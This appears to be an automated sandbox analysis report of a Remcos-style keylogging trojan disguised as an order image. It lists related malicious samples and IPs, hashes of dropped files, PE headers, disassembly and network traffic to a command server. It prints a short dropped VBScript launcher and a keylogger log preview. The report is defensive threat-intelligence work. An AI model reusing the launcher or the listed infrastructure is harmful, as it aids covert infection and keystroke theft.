Match	Associated Sample Name / URL	SHA 256	Detection	Link
185.140.53.253	CompanyLicense.exe	Get hash	malicious	Browse
	16Product Specifications list -Order PCT1086586 1st Video.exe	Get hash	malicious	Browse
	15Order PCT1086586 - Project Commercial Conditions.exe	Get hash	malicious	Browse
	58Product Specifications list -Order PCT1086586 1st Video.exe	Get hash	malicious	Browse
	57Order PCT1086586 - Project Commercial Conditions.exe	Get hash	malicious	Browse
	15Product Specifications list -Order PCT1086586 1st Video.exe	Get hash	malicious	Browse
	14Order PCT1086586 - Project Commercial Conditions.exe	Get hash	malicious	Browse
	57Product Specifications list -Order PCT1086586 1st Video.exe	Get hash	malicious	Browse
	56Order PCT1086586 - Project Commercial Conditions.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
inforosi3m.hopto.org	Scan0010110101WW320.vbs	Get hash	malicious	Browse	185.244.30.250

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
DAVID_CRAIGGG	richiealvin.exe	Get hash	malicious	Browse	91.193.75.185
	Quotation.exe	Get hash	malicious	Browse	185.140.53.154
	DHL Delivery Shipping Cargo. Pdf.exe	Get hash	malicious	Browse	185.244.30.18
	CompanyLicense.exe	Get hash	malicious	Browse	185.140.53.253
	Purchase Order 2094742424.exe	Get hash	malicious	Browse	185.244.30.132
	PURCHASE OREDER. PRINT. pdf.exe	Get hash	malicious	Browse	91.193.75.45
	PO.exe	Get hash	malicious	Browse	185.140.53.234
	SWIFT.exe	Get hash	malicious	Browse	185.140.53.154
	SecuriteInfo.com.BScope.Trojan-Dropper.Injector.exe	Get hash	malicious	Browse	185.140.53.234
	PROOF OF PAYMENT.exe	Get hash	malicious	Browse	185.140.53.131
	Orden n.#U00ba STL21119, pdf.exe	Get hash	malicious	Browse	185.140.53.129
	Proof of Payment.exe	Get hash	malicious	Browse	185.244.30.51
	DxCHoDnNLn.exe	Get hash	malicious	Browse	185.140.53.202
	T7gzTHDZ7g.rtf	Get hash	malicious	Browse	185.140.53.202
	PO - 2021-000511.exe	Get hash	malicious	Browse	185.244.30.69
	PO AR483-1590436 _ J-3000 PROJT.xlsx	Get hash	malicious	Browse	185.140.53.202
	Qotation.exe	Get hash	malicious	Browse	185.140.53.154
	PO - 2021-000511.exe	Get hash	malicious	Browse	185.244.30.69
	file.exe	Get hash	malicious	Browse	91.193.75.155
	Orden n.#U00ba 21115, pdf.exe	Get hash	malicious	Browse	185.140.53.129

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe Download File
Process:	C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	5.509642354428253
Encrypted:	false
SSDEEP:	1536:S1AsZKZAFPIaXjiUqIEARdNW2XLnolNIH:S1FwKPIaOUqIEqN/LnkmH
MD5:	55124BC60C871581F110B6F09E8EE902
SHA1:	A198C5115C4D7F9E61A06020C814C2B5B4FBA0F8
SHA-256:	8C6CAE9078B175B331C1D6154045DEEA386850A75E4E2A250FE4F4D920CF1A4A
SHA-512:	50D7E57EAD5BABA4435F06111885B77656DA56719DA1FCDCDA4993E9CD1A95EF34DCD106EE665F0C347A761E357D2FAEE089840DE3CFB098DF87F378F5341543
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 9%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........I...................................Rich............................PE..L..../R................. ...`...............0....@.............................................................................(....P..T>..................................................................8... ....................................text............ .................. ..`.data........0.......0..............@....rsrc...T>...P...@...@..............@..@...I............MSVBVM60.DLL....................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.vbs Download File
Process:	C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	119
Entropy (8bit):	5.0607448363385545
Encrypted:	false
SSDEEP:	3:jfF+m8nhvF3mRDN+E2J5xAIw3g5mpis/NHM:jFqhv9IN723fUpHVM
MD5:	F830DCDA7316D6A07DDEC96C4618FBCA
SHA1:	E5B094BDC86C7CDD22FB136582728FA78BB3C111
SHA-256:	1D5B85D9BACDBED9129AFDD86EDBE1EEC45228213466C50DBA784C919EA8A2EF
SHA-512:	46F4312E1C92517EF0256B49E99EC358FFCA4C14DEAC4D618D5B92D6AF37643C2B3A8675BC2434B1BC498DBB7DD603F687890EE96390A9DF3F77B3B1F8FA4B7D
Malicious:	true
Reputation:	low
Preview:	Set W = CreateObject("WScript.Shell")..Set C = W.Exec ("C:\Users\user\AppData\Local\Temp\BILTMORE\PILGRIMIZES.exe")

C:\Users\user\AppData\Roaming\remcos\logs.dat Download File
Process:	C:\Users\user\Desktop\NEWORDERrefno0992883jpg.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	87
Entropy (8bit):	4.736705242846249
Encrypted:	false
SSDEEP:	3:ttUoUbyrA4RXMRPHv33a1oy61aeo:tmoNXqdHv3qv6IP
MD5:	8AD37A232C951978EC99117FF0D20AC6
SHA1:	E9FA52001367F58F77201EED4AD69784C0FB6DCC
SHA-256:	03951F0AB8171312ABF1FF33CAEF8E94131A5E05166EB04FCBC6960F0E32CAE0
SHA-512:	C51E2A7EA89F26307A31AE5EA552A36B85DEA5A5F220F389C27A897A37D442A6946E40F695DE136F4994CFF319F49E1A73698CA7BC17FBEB23ED9BEC51688C16
Malicious:	true
Reputation:	low
Preview:	..[2021/01/20 16:54:53 Offline Keylogger Started]....[ Run ]..[r..[ Program Manager ]..

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.509642354428253
TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	NEWORDERrefno0992883jpg.exe
File size:	98304
MD5:	55124bc60c871581f110b6f09e8ee902
SHA1:	a198c5115c4d7f9e61a06020c814c2b5b4fba0f8
SHA256:	8c6cae9078b175b331c1d6154045deea386850a75e4e2a250fe4f4d920cf1a4a
SHA512:	50d7e57ead5baba4435f06111885b77656da56719da1fcdcda4993e9cd1a95ef34dcd106ee665f0c347a761e357d2faee089840de3cfb098df87f378f5341543
SSDEEP:	1536:S1AsZKZAFPIaXjiUqIEARdNW2XLnolNIH:S1FwKPIaOUqIEqN/LnkmH
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........I....................................Rich............................PE..L...../R................. ...`...............0....@

File Icon


Icon Hash:	0919914f4707077b

Static PE Info

General
Entrypoint:	0x401480
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x522F8FEE [Tue Sep 10 21:32:30 2013 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	cdaaae34b462dd94bb47458bdb1adef4

Entrypoint Preview

Instruction
push 00402814h
call 00007F9C7083BCF3h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
cmp byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
push es
inc edi
stosb
jnc 00007F9C7083BCD1h
xor eax, 8BBAA147h
sbb eax, 274E8692h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
call 00007F9CB886DFBFh
push 0000006Ch
jo 00007F9C7083BD75h
outsd
insd
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh
int3
xor dword ptr [eax], eax
add eax, A4054858h
xor dword ptr [edx-5Bh], esp
inc eax
mov ah, 01h
cmc
pushfd
and dl, byte ptr [edi]
out CBh, eax
mov edi, 96799639h
mov bh, byte ptr [ebp+46h]
test byte ptr [edi-0Ch], bl
pushad
xlatb
push AD4F3AECh
xor ebx, dword ptr [ecx-48EE309Ah]
or al, 00h
stosb
add byte ptr [eax-2Dh], ah
xchg eax, ebx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
mov ecx, D2000010h
sldt word ptr [eax]
add byte ptr [726F5700h], cl
imul ebp, dword ptr [ebp+69h], 73h
je 00007F9C7083BD74h
jnc 00007F9C7083BD76h
xor eax, 0F010D00h
add byte ptr [ebx+6Bh], dl
jne 00007F9C7083BD74h
imul esp, dword ptr [ebp+73h], 74h
jc 00007F9C7083BD67h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x11fe4	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x15000	0x3e54	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x238	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x118	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x11480	0x12000	False	0.345458984375	data	5.50668212357	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x13000	0x1598	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x15000	0x3e54	0x4000	False	0.405029296875	data	5.82015845972	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x15148	0x468	GLS_BINARY_LSB_FIRST
RT_ICON	0x155b0	0x10a8	data
RT_ICON	0x16658	0x25a8	data
RT_GROUP_ICON	0x18c00	0x30	data
RT_VERSION	0x18c30	0x224	data	English	United States

Imports

DLL

Import

MSVBVM60.DLL

_CIcos, _adj_fptan, __vbaVarMove, __vbaFreeVar, __vbaStrVarMove, __vbaFreeVarList, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaAryVar, __vbaAryDestruct, __vbaObjSet, __vbaOnError, _adj_fdiv_m16i, __vbaObjSetAddref, _adj_fdivr_m16i, __vbaFpR8, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, __vbaStrCmp, __vbaVarTstEq, _adj_fpatan, __vbaLateIdCallLd, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaI2Str, __vbaFPException, _CIlog, __vbaNew2, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaI4Var, __vbaVarDup, _CIatan, __vbaStrMove, __vbaAryCopy, _allmul, _CItan, _CIexp, __vbaFreeObj, __vbaFreeStr

Version Infos

Description	Data
Translation	0x0409 0x04b0
InternalName	SELVMODSIGELSE
FileVersion	1.00
CompanyName	Above
ProductName	Hjlpsom
ProductVersion	1.00
OriginalFilename	SELVMODSIGELSE.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 20, 2021 16:54:53.446971893 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:54:54.065287113 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:54:54.065565109 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:54:54.066756010 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:54:55.177615881 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:54:57.037013054 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:54:57.161019087 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:54:57.230752945 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:54:57.233791113 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:54:57.820385933 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:55:00.349071026 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:55:00.353962898 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:55:00.533977985 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:55:05.339541912 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:55:05.345825911 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:55:05.516230106 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:55:10.340755939 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:55:10.444410086 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:55:11.105350018 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:55:11.660034895 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:55:15.342780113 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:55:15.345257998 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:55:15.843564034 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:55:20.343687057 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:55:20.350860119 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:55:20.520826101 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:55:25.344441891 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:55:25.346466064 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:55:25.519068956 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:55:30.348246098 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:55:30.350378036 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:55:30.794372082 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:55:35.348925114 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:55:35.351710081 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:55:35.811310053 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:55:40.350337982 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:55:40.352926016 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:55:40.525615931 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:55:45.350980997 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:55:45.387824059 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:55:45.856873989 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:55:50.366103888 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:55:50.370595932 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:55:50.679147959 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:55:55.366919994 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:55:55.369972944 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:55:55.539298058 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:00.687216997 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:00.695122004 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:56:01.361176968 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:01.361279964 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:56:01.448623896 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:56:01.976331949 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:02.289367914 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:05.357477903 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:05.464627028 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:56:06.061624050 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:56:06.660820007 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:10.362004042 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:10.366336107 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:56:10.732948065 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:15.361697912 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:15.363843918 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:56:15.534502983 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:20.361860991 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:20.364300966 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:56:20.536669970 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:25.364950895 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:25.370362043 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:56:25.585580111 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:30.366152048 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:30.370079041 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:56:30.803399086 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:35.368503094 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:35.370753050 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:56:35.718331099 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:40.368340969 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:40.374795914 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:56:40.545203924 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:45.370646954 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:45.374006033 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:56:45.856628895 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:50.381683111 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:50.385859013 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:56:50.767817020 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:55.372123957 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:56:55.374928951 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:56:55.786494017 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:57:00.375139952 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:57:00.377547026 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:57:00.598162889 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:57:05.376633883 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:57:05.379839897 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:57:05.672014952 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:57:10.377461910 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:57:10.382093906 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:57:10.738368034 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:57:16.749614954 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:57:16.792251110 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:57:17.504452944 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:57:17.676148891 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:57:20.384629011 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:57:20.388849020 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:57:21.058199883 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:57:21.081489086 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:57:21.178637981 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:57:25.387734890 CET	2048	49731	185.140.53.253	192.168.2.6
Jan 20, 2021 16:57:25.388783932 CET	49731	2048	192.168.2.6	185.140.53.253
Jan 20, 2021 16:57:25.559473991 CET	2048	49731	185.140.53.253	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 20, 2021 16:54:29.580313921 CET	56023	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:54:29.629131079 CET	53	56023	8.8.8.8	192.168.2.6
Jan 20, 2021 16:54:30.362940073 CET	58384	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:54:30.410828114 CET	53	58384	8.8.8.8	192.168.2.6
Jan 20, 2021 16:54:31.526614904 CET	60261	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:54:31.574543953 CET	53	60261	8.8.8.8	192.168.2.6
Jan 20, 2021 16:54:32.699304104 CET	56061	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:54:32.747380018 CET	53	56061	8.8.8.8	192.168.2.6
Jan 20, 2021 16:54:33.546104908 CET	58336	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:54:33.597208023 CET	53	58336	8.8.8.8	192.168.2.6
Jan 20, 2021 16:54:34.665492058 CET	53781	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:54:34.713407993 CET	53	53781	8.8.8.8	192.168.2.6
Jan 20, 2021 16:54:35.451287031 CET	54064	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:54:35.510778904 CET	53	54064	8.8.8.8	192.168.2.6
Jan 20, 2021 16:54:36.781151056 CET	52811	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:54:36.832160950 CET	53	52811	8.8.8.8	192.168.2.6
Jan 20, 2021 16:54:39.785057068 CET	55299	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:54:39.833184958 CET	53	55299	8.8.8.8	192.168.2.6
Jan 20, 2021 16:54:41.069011927 CET	63745	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:54:41.119613886 CET	53	63745	8.8.8.8	192.168.2.6
Jan 20, 2021 16:54:43.342288971 CET	50055	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:54:43.398510933 CET	53	50055	8.8.8.8	192.168.2.6
Jan 20, 2021 16:54:46.899415016 CET	61374	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:54:46.951332092 CET	53	61374	8.8.8.8	192.168.2.6
Jan 20, 2021 16:54:51.016771078 CET	50339	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:54:51.064860106 CET	53	50339	8.8.8.8	192.168.2.6
Jan 20, 2021 16:54:52.487951040 CET	63307	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:54:52.577634096 CET	53	63307	8.8.8.8	192.168.2.6
Jan 20, 2021 16:54:53.382000923 CET	49694	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:54:53.445444107 CET	53	49694	8.8.8.8	192.168.2.6
Jan 20, 2021 16:54:59.204571009 CET	54982	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:54:59.252686977 CET	53	54982	8.8.8.8	192.168.2.6
Jan 20, 2021 16:55:11.684097052 CET	50010	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:55:11.733552933 CET	53	50010	8.8.8.8	192.168.2.6
Jan 20, 2021 16:55:12.183809996 CET	63718	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:55:12.250924110 CET	53	63718	8.8.8.8	192.168.2.6
Jan 20, 2021 16:55:18.469130039 CET	62116	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:55:18.529723883 CET	53	62116	8.8.8.8	192.168.2.6
Jan 20, 2021 16:55:20.379296064 CET	63816	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:55:20.440028906 CET	53	63816	8.8.8.8	192.168.2.6
Jan 20, 2021 16:55:22.543064117 CET	55014	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:55:22.593735933 CET	53	55014	8.8.8.8	192.168.2.6
Jan 20, 2021 16:55:23.130413055 CET	62208	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:55:23.189975023 CET	53	62208	8.8.8.8	192.168.2.6
Jan 20, 2021 16:55:32.629980087 CET	57574	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:55:32.686336040 CET	53	57574	8.8.8.8	192.168.2.6
Jan 20, 2021 16:55:36.366578102 CET	51818	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:55:36.421276093 CET	53	51818	8.8.8.8	192.168.2.6
Jan 20, 2021 16:55:36.987466097 CET	56628	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:55:37.043663025 CET	53	56628	8.8.8.8	192.168.2.6
Jan 20, 2021 16:55:37.619988918 CET	60778	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:55:37.678622007 CET	53	60778	8.8.8.8	192.168.2.6
Jan 20, 2021 16:55:38.126915932 CET	53799	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:55:38.186309099 CET	53	53799	8.8.8.8	192.168.2.6
Jan 20, 2021 16:55:38.414350033 CET	54683	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:55:38.470679998 CET	53	54683	8.8.8.8	192.168.2.6
Jan 20, 2021 16:55:38.628679037 CET	59329	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:55:38.685170889 CET	53	59329	8.8.8.8	192.168.2.6
Jan 20, 2021 16:55:39.244544983 CET	64021	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:55:39.301084042 CET	53	64021	8.8.8.8	192.168.2.6
Jan 20, 2021 16:55:40.126840115 CET	56129	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:55:40.183212042 CET	53	56129	8.8.8.8	192.168.2.6
Jan 20, 2021 16:55:41.036498070 CET	58177	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:55:41.093053102 CET	53	58177	8.8.8.8	192.168.2.6
Jan 20, 2021 16:55:42.364470959 CET	50700	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:55:42.421240091 CET	53	50700	8.8.8.8	192.168.2.6
Jan 20, 2021 16:55:42.894944906 CET	54069	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:55:42.954122066 CET	53	54069	8.8.8.8	192.168.2.6
Jan 20, 2021 16:56:01.083044052 CET	61178	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:56:01.139086008 CET	53	61178	8.8.8.8	192.168.2.6
Jan 20, 2021 16:56:02.436227083 CET	57017	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:56:02.493866920 CET	53	57017	8.8.8.8	192.168.2.6
Jan 20, 2021 16:56:07.424877882 CET	56327	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:56:07.472803116 CET	53	56327	8.8.8.8	192.168.2.6
Jan 20, 2021 16:56:25.307404995 CET	50243	53	192.168.2.6	8.8.8.8
Jan 20, 2021 16:56:25.355210066 CET	53	50243	8.8.8.8	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
